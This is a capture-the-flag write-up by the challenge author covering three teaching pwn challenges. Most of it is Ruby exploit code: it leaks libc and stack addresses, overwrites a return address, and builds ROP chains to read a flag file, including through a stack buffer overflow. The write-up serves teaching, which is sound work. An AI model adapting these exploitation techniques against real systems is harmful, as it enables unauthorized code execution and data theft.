This is a write-up for three “pwn” challenges - readwritecallme,
readwriteme, readme. They’re all pretty straight forward, and designed to
teach a specific exploit type: how to exploit an arbitrary memory write.
All three challenges let you read arbitrary memory, and the first two additionally
let you write to arbitrary memory. The final one (readme) only lets you read
memory, but it has a buffer overflow that lets you take control.
Technically, all three can be solved with the readme solution, but I’ll go
over my intended solutions for all three, since I think it’s helpful.
As always, you can find copies of the binaries, containers, and full solution in our GitHub repo!
readwritecallme
readwritecallme has:
- I provide a copy of
libc.so+ the binary - The player can read arbitrary memory
- The player can write arbitrary memory (provided they have permission to - no writing code!)
- A
secret_functionexists that will print the flag if called
The goal was basically to call the function.
There might be other solutions, but this is mine:
Use the PLT (a section of the readwritecallme binary, which is always loaded
to the same place) to get the address of strtol in libc:
# These read the binary to find the expected addresses in the binary + libc
puts "Finding libc base using strtol()..."
plt_symbol_addr = get_plt_entry(FILE_READWRITECALLME, 'strtol')
libc_symbol_addr = get_symbol(FILE_LIBC, 'strtol')
# Read the address from memory
puts " * Reading address of 'strtol' from the PLT..."
symbol_addr = read_uint64(plt_symbol_addr)
puts " * 'strtol' is @ 0x%x" % symbol_addr
# Do some math to find the start
puts ' * Rewinding to the start of libc...'
base = symbol_addr - libc_symbol_addr
puts ' * libc starts @ 0x%x!' % base
# Sanity check
if (base % 0x1000) != 0
raise " The libc address isn't on a page boundary, I think there's a file mismatch..."
end
Next, I used the __environ symbol to leak a stack address
puts "Finding stack-based return address via libc's __environ symbol..."
environ = get_symbol(FILE_LIBC, '__environ') + @libc
puts ' * __environ is @ 0x%x' % environ
environ_target = read_uint64(environ)
puts ' * Stack address __environ points to = 0x%x' % environ_target
Then walk backwards up the stack to find the return address (this could be hardcoded, but because I was changing code as I developed I made it more generic).
Basically, I start 1024 bytes past the point that __environ points to. I read
8 bytes at a time, and look for an address that’s plausibly in the libc
library (in the startup function).
If it’s plausibly in libc, I look for the call rax line (to confirm that it’s
actually the right line).
Here’s the code that finds the return address on the stack:
CALL_MAIN = [
"\xff\xd0", # Docker
"\xff\x55\x88", # Laptop
]
# ...
# Search for the return address by looking for something that looks roughly
# like the right value (for speed), then following it and seeing if there's
# a call right before
#
# (This is a bit more complicated because we only want to call read() once,
# otherwise it's way slow)
read(environ_target - 1024, 1024).unpack('Q*').each_with_index do |test, i|
# Ignore values that are way off
if test < @libc
next
end
if (test - @libc > 0x100000)
next
end
puts ' * Plausible return address @ offset 0x%x' % (test - @libc)
# Check if it actually returns to somewhere that looks right
if CALL_MAIN.any? { |m| read(test - m.length, m.length) == m }
# Do the math to figure out where what the offset into the stack was
return_address = environ_target - 1024 + (i * 8)
puts ' * It works! Return address is @ 0x%x' % return_address
return return_address
end
end
Once we have the return address, we can simply overwrite it to point at
secret_function using the “write memory” function:
def solve_by_calling_secret_function
puts
puts 'Solving by calling Secret Function (level 1)'
secret_function = get_symbol(FILE_READWRITECALLME, 'secret_function')
puts ' * Changing return address (0x%x) to instead call secret_function() (0x%x)' % [@ret, secret_function]
write(@ret, [secret_function].pack('Q'))
_have_we_solved_it?()
end
The _have_we_solved_it? function is used for all three parts, and just causes
the service to exit by sending something invalid (I use the literal exit string,
but that’s not special):
def _have_we_solved_it?
# This will cause it to exit
puts " * Triggering the server's exit code to trigger the vuln"
@s.puts 'exit'
# Read from the socket till it closes
Timeout.timeout(10) do
data = ''
loop do
new_data = @s.gets
if new_data.nil?
check_flag(data)
return
end
data += new_data
end
end
end
Aside: read vs fread
While doing final testing, I had a weird bug: the challenge worked fine on my normal internet connection but failed when I was on Tailscale. It was very odd!
I tracked it down to this server code:
if(!fgets(rw, STR_SIZE, stdin))
break;
// ...
if(!fgets(offset_str, STR_SIZE, stdin))
break;
// ...
if(!fgets(size_str, STR_SIZE, stdin))
break;
// ...
offset = (uint8_t*)strtoll(offset_str, NULL, 16);
size = (uint32_t*)strtol(size_str, NULL, 16);
// ...
data = read(stdin, offset, size);
Called by this, in my solution:
def write(addr, data)
@s.puts('w')
@s.puts('%x' % addr)
@s.puts('%x' % data.length)
sleep(0.1)
@s.write(data)
end
Sometimes, the data wasn’t being fully sent!
It turns out that fgets can read past the newline (\n), and the rest of the
data is stored in an internal buffer; that means that while the f* functions
can access it (fgets, fgets, fread, etc), the low-level functions (read /
write) can no longer access it.
On my normal network connection, sleep(0.1) was enough to prevent the length
and data from getting bundled together; on Tailscale, it was not.
I fixed it by changing from read to fread, and then failed to deploy the
new versions until people complained it wasn’t working! Whoops!
readwriteme
readwriteme is essentially the same codebase, but I removed secret_function.
The first part of the solution is identical - I use the same primitives to leak a libc address and then the return address.
Once I have the return address, I write the path to the flag -
/home/ctf/flag.txt - to a random spot on the stack way far away from the
other data:
puts 'Solving by writing to memory (level 2)'
empty_memory = @ret - 0x10000
puts ' * Writing the flag path to random stack memory @ 0x%x' % empty_memory
write(empty_memory, "/home/ctf/flag.txt\0")
Then we build a ROP chain:
puts ' * Building a ROP chain'
rop_chain = [
### open()
@libc + POP_RDI_RET, empty_memory, # Filename
@libc + POP_RSI_RET, 0, # Flags
@libc + POP_RDX_RET, 0, # mode
@libc + get_symbol(FILE_LIBC, 'open'),
### read()
@libc + POP_RDI_RET, 5, # Handle
@libc + POP_RSI_RET, empty_memory + 100, # Buffer
@libc + POP_RDX_RET, 100, # Length
@libc + get_symbol(FILE_LIBC, 'read'),
### write()
@libc + POP_RDI_RET, 1, # Handle
@libc + POP_RSI_RET, empty_memory + 100, # Buffer
@libc + POP_RDX_RET, 100, # Length
@libc + get_symbol(FILE_LIBC, 'write'),
### exit()
@libc + POP_RDI_RET, 69, # code
@libc + get_symbol(FILE_LIBC, 'exit')
].pack('Q*')
puts ' * Writing the ROP chain starting at the return address, 0x%x' % @ret
write(@ret, rop_chain)
# Make sure we're done
_have_we_solved_it?()
The ROP chain opens, reads, and writes the file to stdout, then calls exit.
readme
The final challenge is readme, and the trick is that it no longer has a
write function. You now have to exploit a stack buffer overflow (that’s always
been present) to get code execution.
To solve this generically (so I could recompile my code and not break my solution), I do a little search to figure out how far the buffer is from the return address (ie, how many bytes to overwrite):
def _find_exploit_offset()
puts " * Filling 'data' buffer with random garbage so we can find it on the stack"
# Use read_h to fill the "data" buffer with random junk
data = [read_h(@libc + 1000, 100)].pack('H*')
puts ' * Reading stack before the return address to find it...'
read_memory = read(@ret - 1000, 1000)
index = read_memory.index(data)
if index.nil?
raise "Didn't find exploit offset :("
end
return 1000 - index
Then we build a very similar ROP chain, except that this time we need to include the filename since we can’t write to arbitrary memory anymore:
# Build our ROP chain
puts ' * Building a ROP chain'
rop_chain = [
### open()
@libc + POP_RDI_RET, 0x5a5a5a5a5a5a5a5a, # Filename (will be updated)
@libc + POP_RSI_RET, 0, # Flags
@libc + POP_RDX_RET, 0, # mode
@libc + get_symbol(FILE_LIBC, 'open'),
### read()
@libc + POP_RDI_RET, 5, # Handle
@libc + POP_RSI_RET, empty_memory + 100, # Buffer
@libc + POP_RDX_RET, 100, # Length
@libc + get_symbol(FILE_LIBC, 'read'),
### write()
@libc + POP_RDI_RET, 1, # Handle
@libc + POP_RSI_RET, empty_memory + 100, # Buffer
@libc + POP_RDX_RET, 100, # Length
@libc + get_symbol(FILE_LIBC, 'write'),
### exit()
@libc + POP_RDI_RET, 69, # code
@libc + get_symbol(FILE_LIBC, 'exit')
].pack('Q*')
# Add the FLAG_FILE to the end
rop_chain += "#{ FLAG_FILE }\0"
Then do some math to get the actual flag filename address:
# Calculate the actual address of the flag filename + update in the rop
# chain
flag_ptr = @ret + rop_chain.length - FLAG_FILE.length - 1
rop_chain = rop_chain.gsub(/ZZZZZZZZ/, [flag_ptr].pack('Q'))
puts ' * Calculated the offset of the flag path in memory: 0x%x' % flag_ptr
Because the stack overflow is from “read”ing memory, the solution requires us to find existing bytes to build the ROP chain. We build a “library” of existing bytes by reading a chunk of libc:
puts " * Reading a chunk of memory that we're gonna build our exploit from"
data_buffer = read(@libc, 0x10000)
Then set up a whole buncha reads - but this doesn’t actually send them yet! For speed, this will do all the reads simultaneously instead of having a back-and-forth for every byte:
(rop_chain.length - 1).step(0, -1) do |i|
# Get the character
c = rop_chain[i]
# This is how far into the libc buffer it is
offset_into_libc = data_buffer.index(c)
if offset_into_libc.nil?
raise "Couldn't find character: 0x%02x" % c.ord
end
offset_to_write = exploit_to_ret + i + 1
# puts "Writing 0x%02x to offset <data> + %d" % [c.ord, offset_to_write]
read_h_caching(@libc + offset_into_libc - (offset_to_write - 1), offset_to_write)
end
This will send alllllll the exploit code at once:
puts ' * Triggering the exploit!'
read_h_go()
And then we check if it’s solved, as usual!
# Did we win?
_have_we_solved_it?()
